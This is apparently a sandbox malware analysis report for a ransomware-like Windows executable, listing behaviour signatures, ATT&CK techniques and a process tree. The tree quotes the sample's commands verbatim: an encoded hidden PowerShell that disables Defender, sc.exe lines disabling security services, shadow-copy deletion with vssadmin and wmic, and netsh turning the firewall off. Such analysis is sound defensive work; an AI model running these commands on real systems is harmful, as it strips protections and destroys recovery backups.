Analysis
- max time kernel
149s - max time network
156s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
02/05/2026, 14:27
General
- Target lytuong.net_2.exe
- Size 49KB
- Sample260502-rseq6aav8s
- SHA256 a10976fb1823b543b7715ed0cfca21115c23446e58cb0e10c24518c8e55ae486
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops file in System32 directory 3 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 1 IoCs
- Modifies data under HKEY_USERS 15 IoCs
- Modifies registry class 16 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 39 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe"C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe"C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe"3⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a1c855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exeC:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exeC:\Users\Admin\AppData\Local\Temp\lytuong.net_2.exe1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
invoice_1.pdf
doc_3.pdf
lytuong.net_2.exe.log
__PSScriptPolicyTest_qzzppaym.nih.ps1
createshortcut.vbs
del.bat
makelnk.vbs
sysupdate.exe
memory/124-2273-0x00000229F5B30000-0x00000229F5B61000-memory.dmp
memory/464-2242-0x0000000001670000-0x00000000016A1000-memory.dmp
memory/956-2278-0x0000022EC6060000-0x0000022EC6091000-memory.dmp
memory/1116-2282-0x0000019AC40E0000-0x0000019AC4111000-memory.dmp
memory/1180-2293-0x0000021F64D70000-0x0000021F64DA1000-memory.dmp
memory/1568-2277-0x000000001D040000-0x000000001D052000-memory.dmp
memory/1568-2276-0x0000000002A30000-0x0000000002A3C000-memory.dmp
memory/1568-2279-0x000000001B500000-0x000000001B510000-memory.dmp
memory/1568-3-0x000000001E560000-0x000000001EA88000-memory.dmp
memory/1568-0-0x0000000000900000-0x0000000000912000-memory.dmp
memory/1568-2275-0x00000000010E0000-0x0000000001111000-memory.dmp
memory/1568-2-0x000000001D4D0000-0x000000001D692000-memory.dmp
memory/1568-1-0x000000001B500000-0x000000001B510000-memory.dmp
memory/1628-2036-0x0000000000AA0000-0x0000000000AD1000-memory.dmp
memory/2092-2281-0x000001AB78BC0000-0x000001AB78BF1000-memory.dmp
memory/2360-2295-0x000001B61F5C0000-0x000001B61F5F1000-memory.dmp
memory/2360-2262-0x000001B622870000-0x000001B622871000-memory.dmp
memory/2404-2021-0x0000014E1D5A0000-0x0000014E1D5D1000-memory.dmp
memory/2540-2248-0x0000024C9D4D0000-0x0000024C9D501000-memory.dmp
memory/2540-2249-0x0000024C9D570000-0x0000024C9D57C000-memory.dmp
memory/2692-2235-0x0000014DDF080000-0x0000014DDF08C000-memory.dmp
memory/2692-2234-0x0000014DDEF10000-0x0000014DDEF41000-memory.dmp
memory/3416-1144-0x0000022047F60000-0x0000022047F7C000-memory.dmp
memory/3416-2284-0x000002202DCB0000-0x000002202DCBC000-memory.dmp
memory/3416-13-0x0000022047C00000-0x0000022047C22000-memory.dmp
memory/3416-1932-0x0000022048040000-0x000002204804A000-memory.dmp
memory/3416-2261-0x00000220481F0000-0x00000220481FA000-memory.dmp
memory/3416-2260-0x00000220481E0000-0x00000220481E6000-memory.dmp
memory/3416-2258-0x00000220481B0000-0x00000220481B8000-memory.dmp
memory/3416-2254-0x0000022048200000-0x000002204821A000-memory.dmp
memory/3416-2290-0x000002202DB60000-0x000002202DB91000-memory.dmp
memory/3416-2291-0x000002202DCB0000-0x000002202DCBC000-memory.dmp
memory/3416-2252-0x00000220481A0000-0x00000220481AA000-memory.dmp
memory/3416-2230-0x00000220481C0000-0x00000220481DC000-memory.dmp
memory/3416-2285-0x000002202F500000-0x000002202F512000-memory.dmp
memory/3416-1159-0x0000022047F80000-0x0000022048033000-memory.dmp
memory/3416-2283-0x000002202DB60000-0x000002202DB91000-memory.dmp
memory/3952-2286-0x00000282A21B0000-0x00000282A21E1000-memory.dmp
memory/4204-2280-0x0000020AF8490000-0x0000020AF84C1000-memory.dmp
memory/5128-2250-0x0000000000BC0000-0x0000000000BF1000-memory.dmp
memory/5276-2274-0x000002E790A70000-0x000002E790AA1000-memory.dmp
memory/6052-2255-0x000001CA6E600000-0x000001CA6E631000-memory.dmp